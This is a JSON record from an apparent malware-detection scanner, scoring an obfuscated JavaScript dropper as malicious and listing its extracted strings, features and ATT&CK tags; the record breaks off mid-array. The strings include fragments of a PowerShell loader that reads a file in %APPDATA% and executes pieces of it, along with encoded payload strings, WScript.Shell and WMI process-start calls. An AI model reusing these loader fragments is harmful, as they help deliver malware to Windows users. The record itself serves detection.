{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.99977046251297,
        "class": 2
      }
    ],
    "prob": 0.99977046,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.47501123,
        "class": 0
      },
      {
        "m": "az/source",
        "prob": 0.034057803,
        "class": 0
      },
      {
        "m": "az/kotlin",
        "prob": 0.99977046,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-10T11:43:47Z"
  },
  "path": "d5a9518f65e537df37484b71362c2390c3f0751ad7f7b1388552d4ae8acaf2a7.js",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O(C)Md",
        "k": {
          "source.imports[0]": "Kontorvik",
          "source.imports[1]": "Vernallybe",
          "source.imports[2]": "mbubblenn",
          "source.imports[3]": "switch",
          "source.imports[4]": "ubbubblebobubble",
          "source.strings[0]": "\u0001\t\u0001\u0016\u0010brank@Prismat.Fr1\u000b0\t\u0006\u0003U\u0004\u0006\u0013\u0002",
          "source.strings[1]": "\u0006\u0013\u0002GB1\r0\u000b\u0006\u0003U\u0004\n\f\u0004Kraf1\u00190\u0017\u0006\u0003U\u0004\u000b\f\u0010Wi",
          "source.strings[2]": " **uFFFnH,Hd yybubble,--r ||tzz.uuuu)');if (",
          "source.strings[3]": " MMgKKKlw,wo .ub //ayyyl XX:NNNf~~ i yyl^^^t%%%bubbleCCCr kk= WW[+++TCCCbubble VVxyyyt X,.SSSE|||nbbbcS So WWd aaih.hnbubbleb",
          "source.strings[4]": "$Herba103=($env:APPDATA+'/Lachsaprob');$Mnsterg=gc $Herba103;$Cashboystr=$Mnsterg[2940]+$Mnsterg[2941]+$Mnsterg[2942]; .($Cashboystr) $Mnsterg",
          "source.strings[5]": "%9]}Kontorvik (ubbubblebobubble ' VV",
          "source.strings[6]": "%APPDATA%",
          "source.strings[7]": ") { Kontorvik ",
          "source.strings[8]": ") {Nuzzlbubblers224 'dw4CCBcNDUg+OgcJBURVVE9NJgIXCREFBg==' 1;Kontorvik ",
          "source.strings[9]": ");Nuzzlbubblers224 'dx4GAh4FDxMfPVpcST0JABYMIRo1PDsJFVwhJx0bubbleNRAdFBcaJyELBhEJEy9dYzRTQwYNDBkcIRsLCwMZ' 1;",
          "source.has_imports": true,
          "source.strings[10]": ".Lbubblength; ",
          "source.strings[11]": "116081348Z\u0017\r270116081348Z0g1\u001f0\u001d\u0006",
          "source.strings[12]": "4 'FwYZCRkDABYvOgUL';",
          "source.strings[13]": "4 'FwYZCRkDABYvOgUL';$biblbubbler=Nuzzlbubblers224 'dx4GAh4FDxMfPVpcSVEJEwEdMh0ADhtCKBwfPAILT1EEBBwaOg4aVkRdTVYZIQgFTg==';$prak=$sovbubblehjbubblertbubble;Nuzzlbubblers224 'dw4CCBcNDUgPIQYAExlRSSYMIB1DNxQYCVJNIxsPDFw=' 1;whilbubble (!$frontl) {Nuzzlbubblers224 'dw4CCBcNDUg+OgcJBURVVE9NJgIXCREFBg==' 1;Kontorvik $biblbubbler;Nuzzlbubblers224 'AAULAgVEVVs=' 1;Nuzzlbubblers224 'dw4CCBcNDUgPIQYAExlRS",
          "source.strings[14]": "4CCBcNDUgaPwYbubbleWlEEBBwaOg4aVkRdTwEZPwAaT1EcExcZMh8LChACSA==' 1;Nuzzlbubblers224 'CCcLE1s/BAAfOgoLNxoFDwYkMgcPABAbubblePEhTAAwNEgcFFQs5IQYaCBYDDU9aY15c' 1;",
          "source.strings[15]": "4CCBcNDUgaPwYbubbleWlEEBBwaOg4aVkRdTwEZPwAaT1EcExcZMh8LChACSA==' 1;Nuzzlbubblers224 'CCcLE1s/BAAfOgoLNxoFDwYkMgcPABAbubblePEhTAAwNEgcFFQs5IQYaCBYDDU9aY15c' 1;$hbubblensigt111=$slop[0];$oildomab137=(Nuzzlbubblers224 'dw4CCBcNDUgbubbleOwwFDhsNFxxaYVQgAgJBLhADNgoaRzsJFVw+NgstCxwJDwY=');Kontorvik ($oildomab137);Nuzzlbubblers224 'dx4GAh4FDxMfPVpcST0JABYMIRo1PDsJFVwhJx0bubbleNRAdFBcaJyELBhEJEy9dYzRTQwYNDBkcIRsLCwMZ' 1;$bubblerstatnin=Nuzzlbubblers22",
          "source.strings[16]": ";\r\n//Oceanologernes. forsay! unprosperously? halvcirkelformet225 flelsessagerne.\r\n//Trinovantes saxon udrangering foruroligedes: relstation.\r\n//Hypercholesterolmiske mesmeriser\r\n//Savagers? predesignates creoles\r\n//Precontribution esoterism; phylacterize63;\r\n//Rederne overcounted205? gearende lsslupne\r\n//Nominature. monogony,\r\n//Diabetesorganisation! mustard bogtitlers stollen! severinas\r\n//Hyppejern kold;\r\n//Castigations emissionsspektrummet148! stoccatas! waterdogs: dine\r\n//Aiken, pickles? conspiracy:\r\nanen = anen + ",
          "source.strings[17]": ";#Pala Tibubblexf Forsu salutbubbler Cabotbortf Forrbubbletning skyd Filazbubblehjbubble ;",
          "source.strings[18]": ";Nuzzlbubblers224 'AAULAgVEVVs=' 1;Nuzzlbubblers224 'dw4CCBcNDUgPIQYAExlRS",
          "source.strings[19]": ";Nuzzlbubblers224 'dw4CCBcNDUgPIQYAExlRSSYMIB1DNxQYCVJNIxsPDFw=' 1;whilbubble (!",
          "source.strings[20]": "='\\\\Bitbubblestik.prbubble';Nuzzlbubblers224 'dw4CCBcNDUgaPB8LDx8JEwYMbk0LCQNWAAIZNwgaBl5ICh4IPhsLBg==' 1;Nuzzlbubblers224 'dw",
          "source.strings[21]": "=(Nuzzlbubblers224 'dw4CCBcNDUgbubbleOwwFDhsNFxxaYVQgAgJBLhADNgoaRzsJFVw+NgstCxwJDwY=');Kontorvik (",
          "source.strings[22]": "=14686;Nuzzlbubblers224 'dw4CCBcNDUgOIRwMWhIPQVYZIQgF' 1;Nuzzlbubblers224 'dw4CCBcNDUg6JwwcBEg3Ih0HJQwcEyhWWzQbPAQsBgYJV0Y6JxsHCRJERRUbJgtH' 1;Nuzzlbubblers224 'dw4CCBc",
          "source.strings[23]": "=291926;",
          "source.strings[24]": "=Nuzzlbubblers22",
          "source.strings[25]": "=Nuzzlbubblers224 'Ox0aFwZWTl0NIQAYAlsLDh0OPwxABBoBTgcKbAwWFxobubbleFU8NPB4ACxoNBVQAN1RfFiEKNh9aFCEbubbleHhAFNEZbubbleA1ldFSoLDkpEFjEHXx41AhM=';",
          "source.strings[26]": "=Nuzzlbubblers224 'ZkdbubbleR107CBwNPB4dRzs4QUNZfVlVRyIFD0RdaEkWUUFXQQAfa",
          "source.strings[27]": "=Nuzzlbubblers224 'bQ==';",
          "source.strings[28]": "=Nuzzlbubblers224 'dx4GAh4FDxMfPVpcSVEJEwEdMh0ADhtCKBwfPAILT1EEBBwaOg4aVkRdTVYZIQgFTg==';",
          "source.strings[29]": "=ubbubblebobubble 'AAAi,\u003c\u003cbubble###x';",
          "source.strings[30]": "APPDATA+'/Lachsaprob');",
          "source.strings[31]": "Alderfly126",
          "source.strings[32]": "Betonrknens",
          "source.strings[33]": "Blomsten klatpapirets",
          "source.strings[34]": "Computerization",
          "source.strings[35]": "Ejendomshandlernes: billedkunstneriske",
          "source.strings[36]": "Engangsforeteelserne",
          "source.strings[37]": "Essernes246! enderon154?",
          "source.strings[38]": "GB1\r0\u000b\u0006\u0003U\u0004\n\f\u0004Kraf1\u00190\u0017\u0006\u0003U\u0004\u000b\f\u0010Widow",
          "source.strings[39]": "Grumness hydrocupreine",
          "source.strings[40]": "HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\PowerShell.exe\\\\",
          "source.strings[41]": "Halstablet",
          "source.strings[42]": "Hepatoportal: kronvildtjagts;",
          "source.strings[43]": "Interpenetrable thumbtacked214:",
          "source.strings[44]": "Isocheimonal",
          "source.strings[45]": "Kaalhoveders! besmitte",
          "source.strings[46]": "Korroderedes35! svederne?",
          "source.strings[47]": "NDUgAPQ0HARMJXCk9NhEaSTACAh0NOgcJOk9WICEqGiBAIBAYMgYbOgcJT1E/FRcbMEA=' 1;Nuzzlbubblers224 'dw4CCBcNDUgNIQYACRwCBhdUdwAAAxwKBxdHIBwMFAEbubbleCBwObubble00ACBsNAhEcPhxCQxMDEwYbMgwAAFw=' 1;Kontorvik ",
          "source.strings[48]": "NDUgAPQ0HARMJXCk9NhEaSTACAh0NOgcJOk9WICEqGiBAIBAYMgYbOgcJT1E/FRcbMEA=' 1;Nuzzlbubblers224 'dw4CCBcNDUgNIQYACRwCBhdUdwAAAxwKBxdHIBwMFAEbubbleCBwObubble00ACBsNAhEcPhxCQxMDEwYbMgwAAFw=' 1;Kontorvik $dronningbubble;#Pala Tibubblexf Forsu salutbubbler Cabotbortf Forrbubbletning skyd Filazbubblehjbubble ;",
          "source.strings[49]": "Perone, tjenernes;",
          "source.strings[50]": "Pseudoroyally. subrectory:",
          "source.strings[51]": "Rucher",
          "source.strings[52]": "SYMIB1DNxQYCVJNIxsPDFw=' 1 ;Nuzzlbubblers224 'dw4CCBcNDUgMIwACCBIVABcFbk0JCxoOAB5TNwwbubbleEgcNFRtCbubbleExKFBkDEVwKPBwAEw==' 1;",
          "source.strings[53]": "SYMIB1DNxQYCVJNIxsPDFw=' 1 ;Nuzzlbubblers224 'dw4CCBcNDUgMIwACCBIVABcFbk0JCxoOAB5TNwwbubbleEgcNFRtCbubbleExKFBkDEVwKPBwAEw==' 1;$hbubblensigt111=$slop[$bubblepilogyabubblel]}$nonaccumu=291926;$fortrabubbleng=14686;Nuzzlbubblers224 'dw4CCBcNDUgOIRwMWhIPQVYZIQgF' 1;Nuzzlbubblers224 'dw4CCBcNDUg6JwwcBEg3Ih0HJQwcEyhWWzQbPAQsBgYJV0Y6JxsHCRJERRUbJgtH' 1;Nuzzlbubblers224 'dw4CCBc",
          "source.strings[54]": "Sakristanerne defencives",
          "source.strings[55]": "Scripting.FileSystemObject",
          "source.strings[56]": "Spnende",
          "source.strings[57]": "Surveyors: aftvingende!",
          "source.strings[58]": "Teses slynggrebs",
          "source.strings[59]": "Threeness21! xiphiura,",
          "source.strings[60]": "U\u0004\u0006\u0013\u0002GB1\r0\u000b\u0006\u0003U\u0004\n\f\u0004Kraf1\u00190\u0017\u0006\u0003U\u0004\u000b\f\u0010",
          "source.strings[61]": "Unrelentable indenad",
          "source.strings[62]": "VhaUVtcSFIuNgoFCFpbubbleUUNZY1hbubbleVlUqCAAMNQYWSERYV1xZ';",
          "source.strings[63]": "VhaUVtcSFIuNgoFCFpbubbleUUNZY1hbubbleVlUqCAAMNQYWSERYV1xZ';$hbubblensigt111=Nuzzlbubblers224 'Ox0aFwZWTl0NIQAYAlsLDh0OPwxABBoBTgcKbAwWFxobubbleFU8NPB4ACxoNBVQAN1RfFiEKNh9aFCEbubbleHhAFNEZbubbleA1ldFSoLDkpEFjEHXx41AhM=';$prbubblepavbubblembubblen=Nuzzlbubblers224 'bQ==';$klamrbubblea='\\\\Bitbubblestik.prbubble';Nuzzlbubblers224 'dw4CCBcNDUgaPB8LDx8JEwYMbk0LCQNWAAIZNwgaBl5ICh4IPhsLBg==' 1;Nuzzlbubblers224 'dw",
          "source.strings[64]": "WScript.Shell",
          "source.strings[65]": "WbemScripting.SWbemLocator",
          "source.strings[66]": "Win32_Proc",
          "source.strings[67]": "[2940]+",
          "source.strings[68]": "[2941]+",
          "source.strings[69]": "[2942]; .(",
          "source.strings[70]": "] = ranbubblend42 ",
          "source.strings[71]": "_ProcessStartup",
          "source.strings[72]": "bubble",
          "source.strings[73]": "leuuupuuu)');For(",
          "source.strings[74]": "leuuupuuu)');For($igbubblennbubblen=0; $igbubblennbubblen -lt $undbubblertu.Lbubblength; $igbubblennbubblen++){$undbubblertu[$igbubblennbubblen] = ranbubblend42 $undbubblertu[$igbubblennbubblen] $mbubblenn[$igbubblennbubblen%9]}Kontorvik (ubbubblebobubble ' VV$ MMgKKKlw,wo .ub //ayyyl XX:NNNf~~ i yyl^^^t%%%bubbleCCCr kk= WW[+++TCCCbubble VVxyyyt X,.SSSE|||nbbbcS So WWd aaih.hnbubbleb",
          "source.strings[75]": "m Overrewa 1\r0\u000b\u0006\u0003U\u0004\u0003\f\u0004Kraf0\u001e\u0017\r260",
          "source.strings[76]": "pplication",
          "source.strings[77]": "root\\\\cimv2",
          "source.strings[78]": "ubblebubbleg===]W,W: XX:,VVAMMMS???C %%ICCCIfff.kkkGg gbubblexxxt A Siiit yyr BBifffn //g T (,ll",
          "source.strings[79]": "ubblebubbleg===]W,W: XX:,VVAMMMS???C %%ICCCIfff.kkkGg gbubblexxxt A Siiit yyr BBifffn //g T (,ll$ **uFFFnH,Hd yybubble,--r ||tzz.uuuu)');if ($bubblethnoma) { Kontorvik $filtbubbler}bubblelsbubble {;$filtbubbler}}$trykknaptbubble=ubbubblebobubble 'AAAi,\u003c\u003cbubble###x';$samkurrbubblelvu=Nuzzlbubblers224 'ZkdbubbleR107CBwNPB4dRzs4QUNZfVlVRyIFD0RdaEkWUUFXQQAfa",
          "source.strings[80]": "w\u000e\u0002\b\u0017\r\rH\u001a\u003c\u001f\u000b\u000f\u001f\t\u0013\u0006\fnM\u000b\t\u0003V\u0002\u00197\b\u001a\u0006^H\n\u001e\b\u003e\u001b\u000b\u0006",
          "source.strings[81]": "w\u000e\u0002\b\u0017\r\rH:'\f\u001c\u0004H7\"\u001d\u0007%\f\u001c\u0013(V[4\u001b\u003c\u0004,\u0006\u0006\tWF:'\u001b\u0007\t\u0012DE\u0015\u001b\u0026\u000bG",
          "source.strings[82]": "w\u001e\u0006\u0002\u001e\u0005\u000f\u0013\u001f=Z\\IQ\t\u0013\u0001\u001d2\u001d\u000e\u001bB(\u001c\u001f\u003c\u0002\u000bOQ\u0004\u0004\u001c\u001a:\u000e\u001aVD]MV\u0019!\b\u0005N",
          "source.strings[83]": "{2u889111://u7{",
          "source.strings[84]": "}bubblelsbubble {;"
        },
        "x": 1,
        "id": 0,
        "is": [
          "mbubblenn",
          "Kontorvik",
          "ubbubblebobubble",
          "switch",
          "Vernallybe"
        ],
        "ms": {
          "file": {
            "size": 79300.0
          },
          "text": {
            "tab_count": 3.0,
            "digit_ratio": 0.03,
            "space_count": 4535.0,
            "total_lines": 1755.0,
            "char_entropy": 5.12,
            "mixed_indent": true,
            "unique_chars": 96.0,
            "import_density": 0.28,
            "lines_over_200": 9.0,
            "lines_over_500": 1.0,
            "string_density": 0.09,
            "avg_line_length": 43.19,
            "max_line_length": 552.0,
            "empty_line_ratio": 0.06,
            "last_line_length": 29.0,
            "long_token_count": 3.0,
            "most_common_char": "e",
            "whitespace_ratio": 0.1,
            "most_common_ratio": 0.1,
            "line_length_stddev": 33.79,
            "encoded_string_ratio": 0.01,
            "normalized_import_count": 0.12,
            "normalized_string_count": 3.63,
            "repeated_char_sequences": 12.0,
            "suspicious_string_ratio": 0.02,
            "suspicious_comment_ratio": 0.13,
            "max_inline_whitespace_run": 2.0,
            "trailing_whitespace_lines": 9.0
          },
          "imports": {
            "total": 5.0,
            "unique_modules": 5.0,
            "third_party_count": 5.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 152.0,
            "avg_length": 49.11,
            "max_length": 524.0,
            "path_count": 2.0,
            "avg_entropy": 2.91,
            "sql_strings": 1.0,
            "total_bytes": 7464.0,
            "entropy_stddev": 1.71,
            "base64_candidates": 2.0,
            "high_entropy_count": 19.0,
            "shell_command_strings": 2.0
          },
          "comments": {
            "chars": 65956.0,
            "lines": 1520.0,
            "total": 1520.0,
            "todo_count": 1.0,
            "to_code_ratio": 6.47,
            "base64_in_comments": 120.0,
            "high_entropy_comments": 72.0
          },
          "functions": {},
          "identifiers": {}
        },
        "ss": [
          [
            21,
            "Spnende"
          ],
          [
            22,
            "Spnende"
          ],
          [
            31,
            "Halstablet"
          ],
          [
            32,
            "Halstablet"
          ],
          [
            97,
            "Rucher"
          ],
          [
            98,
            "Rucher"
          ],
          [
            106,
            "Engangsforeteelserne"
          ],
          [
            107,
            "Engangsforeteelserne"
          ],
          [
            2496,
            "Scripting.FileSystemObject"
          ],
          [
            2497,
            "Scripting.FileSystemObject"
          ],
          [
            13346,
            "WScript.Shell"
          ],
          [
            13347,
            "WScript.Shell"
          ],
          [
            15845,
            ";\r\n//Oceanologernes. forsay! unprosperously? halvcirkelformet225 flelsessagerne.\r\n//Trinovantes saxon udrangering foruroligedes:"
          ],
          [
            15846,
            ";\r\n//Oceanologernes. forsay! unprosperously? halvcirkelformet225 flelsessagerne.\r\n//Trinovantes saxon udrangering foruroligedes:"
          ],
          [
            18113,
            "leuuupuuu)');For($igbubblennbubblen=0; $igbubblennbubblen -lt $undbubblertu.Lbubblength; $igbubblennbubblen++){$undbubblertu[$ig"
          ],
          [
            18114,
            "leuuupuuu)');For("
          ],
          [
            18149,
            "=0; "
          ],
          [
            18171,
            " -lt "
          ],
          [
            18189,
            ".Lbubblength; "
          ],
          [
            18221,
            "++){"
          ],
          [
            18238,
            "["
          ],
          [
            18257,
            "] = ranbubblend42 "
          ],
          [
            18288,
            "["
          ],
          [
            18307,
            "] "
          ],
          [
            18319,
            "["
          ],
          [
            18338,
            "%9]}Kontorvik (ubbubblebobubble ' VV"
          ],
          [
            18374,
            "$"
          ],
          [
            18375,
            " MMgKKKlw,wo .ub //ayyyl XX:NNNf~~ i yyl^^^t%%%bubbleCCCr kk= WW[+++TCCCbubble VVxyyyt X,.SSSE|||nbbbcS So WWd aaih.hnbubbleb"
          ],
          [
            18567,
            "Alderfly126"
          ],
          [
            18568,
            "Alderfly126"
          ],
          [
            19403,
            "Surveyors: aftvingende!"
          ],
          [
            19404,
            "Surveyors: aftvingende!"
          ],
          [
            19456,
            "Hepatoportal: kronvildtjagts;"
          ],
          [
            19457,
            "Hepatoportal: kronvildtjagts;"
          ],
          [
            19502,
            "Blomsten klatpapirets"
          ],
          [
            19503,
            "Blomsten klatpapirets"
          ],
          [
            19577,
            "Interpenetrable thumbtacked214:"
          ],
          [
            19578,
            "Interpenetrable thumbtacked214:"
          ],
          [
            19657,
            "Korroderedes35! svederne?"
          ],
          [
            19658,
            "Korroderedes35! svederne?"
          ],
          [
            19708,
            "Essernes246! enderon154?"
          ],
          [
            19709,
            "Essernes246! enderon154?"
          ],
          [
            19754,
            "Kaalhoveders! besmitte"
          ],
          [
            19755,
            "Kaalhoveders! besmitte"
          ],
          [
            19804,
            "Teses slynggrebs"
          ],
          [
            19805,
            "Teses slynggrebs"
          ],
          [
            19931,
            "Perone, tjenernes;"
          ],
          [
            19932,
            "Perone, tjenernes;"
          ],
          [
            19965,
            "Grumness hydrocupreine"
          ],
          [
            19966,
            "Grumness hydrocupreine"
          ],
          [
            20007,
            "Ejendomshandlernes: billedkunstneriske"
          ],
          [
            20008,
            "Ejendomshandlernes: billedkunstneriske"
          ],
          [
            20097,
            "Pseudoroyally. subrectory:"
          ],
          [
            20098,
            "Pseudoroyally. subrectory:"
          ],
          [
            20205,
            "Threeness21! xiphiura,"
          ],
          [
            20206,
            "Threeness21! xiphiura,"
          ],
          [
            20360,
            "Unrelentable indenad"
          ],
          [
            20361,
            "Unrelentable indenad"
          ],
          [
            20479,
            "Sakristanerne defencives"
          ],
          [
            20480,
            "Sakristanerne defencives"
          ],
          [
            20603,
            "ubblebubbleg===]W,W: XX:,VVAMMMS???C %%ICCCIfff.kkkGg gbubblexxxt A Siiit yyr BBifffn //g T (,ll$ **uFFFnH,Hd yybubble,--r ||tzz"
          ],
          [
            20604,
            "ubblebubbleg===]W,W: XX:,VVAMMMS???C %%ICCCIfff.kkkGg gbubblexxxt A Siiit yyr BBifffn //g T (,ll"
          ],
          [
            20700,
            "$"
          ],
          [
            20701,
            " **uFFFnH,Hd yybubble,--r ||tzz.uuuu)');if ("
          ],
          [
            20758,
            ") { Kontorvik "
          ],
          [
            20784,
            "}bubblelsbubble {;"
          ],
          [
            20814,
            "}}"
          ],
          [
            20832,
            "=ubbubblebobubble 'AAAi,\u003c\u003cbubble###x';"
          ],
          [
            20887,
            "=Nuzzlbubblers224 'ZkdbubbleR107CBwNPB4dRzs4QUNZfVlVRyIFD0RdaEkWUUFXQQAfa"
          ],
          [
            20984,
            "Betonrknens"
          ],
          [
            20985,
            "Betonrknens"
          ],
          [
            21722,
            "VhaUVtcSFIuNgoFCFpbubbleUUNZY1hbubbleVlUqCAAMNQYWSERYV1xZ';$hbubblensigt111=Nuzzlbubblers224 'Ox0aFwZWTl0NIQAYAlsLDh0OPwxABBoBTg"
          ],
          [
            21723,
            "VhaUVtcSFIuNgoFCFpbubbleUUNZY1hbubbleVlUqCAAMNQYWSERYV1xZ';"
          ],
          [
            21798,
            "=Nuzzlbubblers224 'Ox0aFwZWTl0NIQAYAlsLDh0OPwxABBoBTgcKbAwWFxobubbleFU8NPB4ACxoNBVQAN1RfFiEKNh9aFCEbubbleHhAFNEZbubbleA1ldFSoLDk"
          ],
          [
            21968,
            "=Nuzzlbubblers224 'bQ==';"
          ],
          [
            22006,
            "='\\\\Bitbubblestik.prbubble';Nuzzlbubblers224 'dw4CCBcNDUgaPB8LDx8JEwYMbk0LCQNWAAIZNwgaBl5ICh4IPhsLBg==' 1;Nuzzlbubblers224 'dw"
          ],
          [
            22963,
            "4CCBcNDUgaPwYbubbleWlEEBBwaOg4aVkRdTwEZPwAaT1EcExcZMh8LChACSA==' 1;Nuzzlbubblers224 'CCcLE1s/BAAfOgoLNxoFDwYkMgcPABAbubblePEhTAA"
          ],
          [
            22964,
            "4CCBcNDUgaPwYbubbleWlEEBBwaOg4aVkRdTwEZPwAaT1EcExcZMh8LChACSA==' 1;Nuzzlbubblers224 'CCcLE1s/BAAfOgoLNxoFDwYkMgcPABAbubblePEhTAA"
          ],
          [
            23138,
            "="
          ],
          [
            23144,
            "[0];"
          ],
          [
            23160,
            "=(Nuzzlbubblers224 'dw4CCBcNDUgbubbleOwwFDhsNFxxaYVQgAgJBLhADNgoaRzsJFVw+NgstCxwJDwY=');Kontorvik ("
          ],
          [
            23271,
            ");Nuzzlbubblers224 'dx4GAh4FDxMfPVpcST0JABYMIRo1PDsJFVwhJx0bubbleNRAdFBcaJyELBhEJEy9dYzRTQwYNDBkcIRsLCwMZ' 1;"
          ],
          [
            23395,
            "=Nuzzlbubblers22"
          ],
          [
            24302,
            "4 'FwYZCRkDABYvOgUL';$biblbubbler=Nuzzlbubblers224 'dx4GAh4FDxMfPVpcSVEJEwEdMh0ADhtCKBwfPAILT1EEBBwaOg4aVkRdTVYZIQgFTg==';$prak="
          ],
          [
            24303,
            "4 'FwYZCRkDABYvOgUL';"
          ],
          [
            24336,
            "=Nuzzlbubblers224 'dx4GAh4FDxMfPVpcSVEJEwEdMh0ADhtCKBwfPAILT1EEBBwaOg4aVkRdTVYZIQgFTg==';"
          ],
          [
            24430,
            "="
          ],
          [
            24457,
            ";Nuzzlbubblers224 'dw4CCBcNDUgPIQYAExlRSSYMIB1DNxQYCVJNIxsPDFw=' 1;whilbubble (!"
          ],
          [
            24544,
            ") {Nuzzlbubblers224 'dw4CCBcNDUg+OgcJBURVVE9NJgIXCREFBg==' 1;Kontorvik "
          ],
          [
            24627,
            ";Nuzzlbubblers224 'AAULAgVEVVs=' 1;Nuzzlbubblers224 'dw4CCBcNDUgPIQYAExlRS"
          ],
          [
            25701,
            "SYMIB1DNxQYCVJNIxsPDFw=' 1 ;Nuzzlbubblers224 'dw4CCBcNDUgMIwACCBIVABcFbk0JCxoOAB5TNwwbubbleEgcNFRtCbubbleExKFBkDEVwKPBwAEw==' 1;"
          ],
          [
            25702,
            "SYMIB1DNxQYCVJNIxsPDFw=' 1 ;Nuzzlbubblers224 'dw4CCBcNDUgMIwACCBIVABcFbk0JCxoOAB5TNwwbubbleEgcNFRtCbubbleExKFBkDEVwKPBwAEw==' 1;"
          ],
          [
            25846,
            "="
          ],
          [
            25852,
            "["
          ],
          [
            25874,
            "]}"
          ],
          [
            25886,
            "=291926;"
          ],
          [
            25909,
            "=14686;Nuzzlbubblers224 'dw4CCBcNDUgOIRwMWhIPQVYZIQgF' 1;Nuzzlbubblers224 'dw4CCBcNDUg6JwwcBEg3Ih0HJQwcEyhWWzQbPAQsBgYJV0Y6JxsHC"
          ],
          [
            27200,
            "NDUgAPQ0HARMJXCk9NhEaSTACAh0NOgcJOk9WICEqGiBAIBAYMgYbOgcJT1E/FRcbMEA=' 1;Nuzzlbubblers224 'dw4CCBcNDUgNIQYACRwCBhdUdwAAAxwKBxdHI"
          ],
          [
            27201,
            "NDUgAPQ0HARMJXCk9NhEaSTACAh0NOgcJOk9WICEqGiBAIBAYMgYbOgcJT1E/FRcbMEA=' 1;Nuzzlbubblers224 'dw4CCBcNDUgNIQYACRwCBhdUdwAAAxwKBxdHI"
          ],
          [
            27411,
            ";#Pala Tibubblexf Forsu salutbubbler Cabotbortf Forrbubbletning skyd Filazbubblehjbubble ;"
          ],
          [
            35332,
            "S"
          ],
          [
            35333,
            "S"
          ],
          [
            35336,
            "hel"
          ],
          [
            35337,
            "hel"
          ],
          [
            35342,
            "l"
          ],
          [
            35343,
            "l"
          ],
          [
            35347,
            "."
          ],
          [
            35348,
            "."
          ],
          [
            35351,
            "A"
          ],
          [
            35352,
            "A"
          ],
          [
            35355,
            "pplication"
          ],
          [
            35356,
            "pplication"
          ],
          [
            38218,
            "HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\PowerShell.exe\\\\"
          ],
          [
            38219,
            "HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\PowerShell.exe\\\\"
          ],
          [
            41401,
            "bubble"
          ],
          [
            41402,
            "bubble"
          ],
          [
            43208,
            "Win32_Proc"
          ],
          [
            43209,
            "Win32_Proc"
          ],
          [
            43227,
            "ss"
          ],
          [
            43228,
            "ss"
          ],
          [
            48841,
            "$Herba103=($env:APPDATA+'/Lachsaprob');$Mnsterg=gc $Herba103;$Cashboystr=$Mnsterg[2940]+$Mnsterg[2941]+$Mnsterg[2942]; .($Cashbo"
          ],
          [
            48851,
            "=("
          ],
          [
            48857,
            "APPDATA+'/Lachsaprob');"
          ],
          [
            48889,
            "=gc "
          ],
          [
            48902,
            ";"
          ],
          [
            48914,
            "="
          ],
          [
            48923,
            "[2940]+"
          ],
          [
            48938,
            "[2941]+"
          ],
          [
            48953,
            "[2942]; .("
          ],
          [
            48974,
            ") "
          ],
          [
            49004,
            "Isocheimonal"
          ],
          [
            49005,
            "Isocheimonal"
          ],
          [
            52395,
            "%APPDATA%"
          ],
          [
            52396,
            "%APPDATA%"
          ],
          [
            58942,
            "Creat"
          ],
          [
            58943,
            "Creat"
          ],
          [
            61614,
            "WbemScripting.SWbemLocator"
          ],
          [
            61615,
            "WbemScripting.SWbemLocator"
          ],
          [
            62482,
            "."
          ],
          [
            62483,
            "."
          ],
          [
            62487,
            "root\\\\cimv2"
          ],
          [
            62488,
            "root\\\\cimv2"
          ],
          [
            63267,
            "Win32"
          ],
          [
            63268,
            "Win32"
          ],
          [
            63277,
            "_ProcessStartup"
          ],
          [
            63278,
            "_ProcessStartup"
          ],
          [
            66888,
            " "
          ],
          [
            66889,
            " "
          ],
          [
            67754,
            "R"
          ],
          [
            67755,
            "R"
          ],
          [
            74144,
            "Computerization"
          ],
          [
            74145,
            "Computerization"
          ],
          [
            16587,
            "xor",
            "{2u889111://u7{"
          ],
          [
            21708,
            "base64",
            "w\u000e\u0002\b\u0017\r\rH\u001a\u003c\u001f\u000b\u000f\u001f\t\u0013\u0006\fnM\u000b\t\u0003V\u0002\u00197\b\u001a\u0006^H\n\u001e\b\u003e\u001b\u000b\u0006"
          ],
          [
            24288,
            "base64",
            "w\u001e\u0006\u0002\u001e\u0005\u000f\u0013\u001f=Z\\IQ\t\u0013\u0001\u001d2\u001d\u000e\u001bB(\u001c\u001f\u003c\u0002\u000bOQ\u0004\u0004\u001c\u001a:\u000e\u001aVD]MV\u0019!\b\u0005N"
          ],
          [
            25687,
            "base64",
            "w\u000e\u0002\b\u0017\r\rH:'\f\u001c\u0004H7\"\u001d\u0007%\f\u001c\u0013(V[4\u001b\u003c\u0004,\u0006\u0006\tWF:'\u001b\u0007\t\u0012DE\u0015\u001b\u0026\u000bG"
          ],
          [
            75573,
            "base64",
            "\u0001\t\u0001\u0016\u0010brank@Prismat.Fr1\u000b0\t\u0006\u0003U\u0004\u0006\u0013\u0002"
          ],
          [
            75629,
            "base64",
            "GB1\r0\u000b\u0006\u0003U\u0004\n\f\u0004Kraf1\u00190\u0017\u0006\u0003U\u0004\u000b\f\u0010Widow"
          ],
          [
            75685,
            "base64",
            "m Overrewa 1\r0\u000b\u0006\u0003U\u0004\u0003\f\u0004Kraf0\u001e\u0017\r260"
          ],
          [
            75741,
            "base64",
            "116081348Z\u0017\r270116081348Z0g1\u001f0\u001d\u0006"
          ],
          [
            75853,
            "base64",
            "U\u0004\u0006\u0013\u0002GB1\r0\u000b\u0006\u0003U\u0004\n\f\u0004Kraf1\u00190\u0017\u0006\u0003U\u0004\u000b\f\u0010"
          ],
          [
            78037,
            "base64",
            "\u0006\u0013\u0002GB1\r0\u000b\u0006\u0003U\u0004\n\f\u0004Kraf1\u00190\u0017\u0006\u0003U\u0004\u000b\f\u0010Wi"
          ]
        ],
        "sz": 79300,
        "ts": [
          {
            "a": "T1105",
            "c": 0.8999999761581421,
            "d": "Windows executable filename in bytecode",
            "e": [
              "PowerShell.exe"
            ],
            "i": "objectives/command-and-control/dropper/delivery/download::windows-exe-temp-staging",
            "l": 1,
            "m": "E1105"
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: base64",
            "e": [
